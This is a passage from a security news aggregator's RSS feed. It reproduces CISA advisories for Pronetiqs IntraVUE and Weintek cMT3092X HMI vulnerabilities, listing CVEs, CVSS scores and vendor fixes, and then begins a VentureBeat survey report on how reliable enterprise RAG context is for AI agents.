<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50044</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50044">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326 Inadequate Encryption Strength</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28698</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Phlebas of Lumintel reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/732.html">CWE-732 Incorrect Permission Assignment for Critical Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61886</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI stores user account passwords in plaintext.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61886">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% 